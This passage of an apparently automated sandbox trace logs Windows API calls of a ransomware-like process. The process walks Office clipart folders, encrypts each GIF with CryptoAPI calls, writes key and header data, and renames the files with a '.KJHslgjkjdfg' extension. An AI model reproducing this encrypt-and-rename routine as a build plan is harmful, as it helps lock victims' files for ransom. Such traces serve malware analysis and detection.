phKey=0x4dff274*=0x2f182c8) returned 1 [0191.684] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.684] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.685] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1485, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1485, lpOverlapped=0x0) returned 1 [0191.686] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1490, dwBufLen=0x1490 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1490) returned 1 [0191.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.686] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1490, lpOverlapped=0x0) returned 1 [0191.686] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.686] SetEndOfFile (hFile=0x130) returned 1 [0191.688] GetProcessHeap () returned 0x2ef0000 [0191.688] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.688] GetProcessHeap () returned 0x2ef0000 [0191.688] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.kjhslgjkjdfg")) returned 1 [0191.691] CloseHandle (hObject=0x130) returned 1 [0191.691] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b28600, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b28600, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0191.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.695] GetProcessHeap () returned 0x2ef0000 [0191.695] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.695] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.695] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.696] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0191.716] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.716] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.716] GetProcessHeap () returned 0x2ef0000 [0191.716] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.716] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.716] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.716] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.716] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.716] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.716] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.717] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.717] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.717] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.717] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa24, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa24, lpOverlapped=0x0) returned 1 [0191.717] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa30, dwBufLen=0xa30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa30) returned 1 [0191.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.717] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa30, lpOverlapped=0x0) returned 1 [0191.717] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.717] SetEndOfFile (hFile=0x130) returned 1 [0191.719] GetProcessHeap () returned 0x2ef0000 [0191.719] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.719] GetProcessHeap () returned 0x2ef0000 [0191.720] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.720] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.kjhslgjkjdfg")) returned 1 [0191.723] CloseHandle (hObject=0x130) returned 1 [0191.723] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3bca500, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3bca500, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0191.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.724] GetProcessHeap () returned 0x2ef0000 [0191.724] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.724] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.724] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.724] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x1, lpOverlapped=0x0) returned 1 [0191.726] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.726] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.726] GetProcessHeap () returned 0x2ef0000 [0191.726] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.726] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.726] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.726] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.726] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.727] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.727] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.727] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.727] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.727] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.727] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x296f, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x296f, lpOverlapped=0x0) returned 1 [0191.737] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2970, dwBufLen=0x2970 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2970) returned 1 [0191.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.737] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2970, lpOverlapped=0x0) returned 1 [0191.737] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.737] SetEndOfFile (hFile=0x130) returned 1 [0191.739] GetProcessHeap () returned 0x2ef0000 [0191.739] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.739] GetProcessHeap () returned 0x2ef0000 [0191.739] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.739] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.kjhslgjkjdfg")) returned 1 [0191.742] CloseHandle (hObject=0x130) returned 1 [0191.742] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc6c400, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedc6c400, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0191.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.742] GetProcessHeap () returned 0x2ef0000 [0191.742] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.742] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.742] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.745] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.745] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.745] GetProcessHeap () returned 0x2ef0000 [0191.745] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.745] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.745] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.745] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.745] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.745] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.745] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.745] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.745] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.745] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.746] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.746] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3bcc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3bcc, lpOverlapped=0x0) returned 1 [0191.747] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3bd0, dwBufLen=0x3bd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3bd0) returned 1 [0191.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.748] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3bd0, lpOverlapped=0x0) returned 1 [0191.748] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.748] SetEndOfFile (hFile=0x130) returned 1 [0191.750] GetProcessHeap () returned 0x2ef0000 [0191.750] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.750] GetProcessHeap () returned 0x2ef0000 [0191.750] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.kjhslgjkjdfg")) returned 1 [0191.758] CloseHandle (hObject=0x130) returned 1 [0191.758] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9688900, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9688900, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0191.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.759] GetProcessHeap () returned 0x2ef0000 [0191.759] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.759] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.759] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0191.761] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.761] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.761] GetProcessHeap () returned 0x2ef0000 [0191.761] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.761] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.761] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.761] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.761] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.761] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.761] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.762] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.762] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.762] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.762] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x14c3, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x14c3, lpOverlapped=0x0) returned 1 [0191.766] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14d0, dwBufLen=0x14d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14d0) returned 1 [0191.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.766] WriteFile (in: 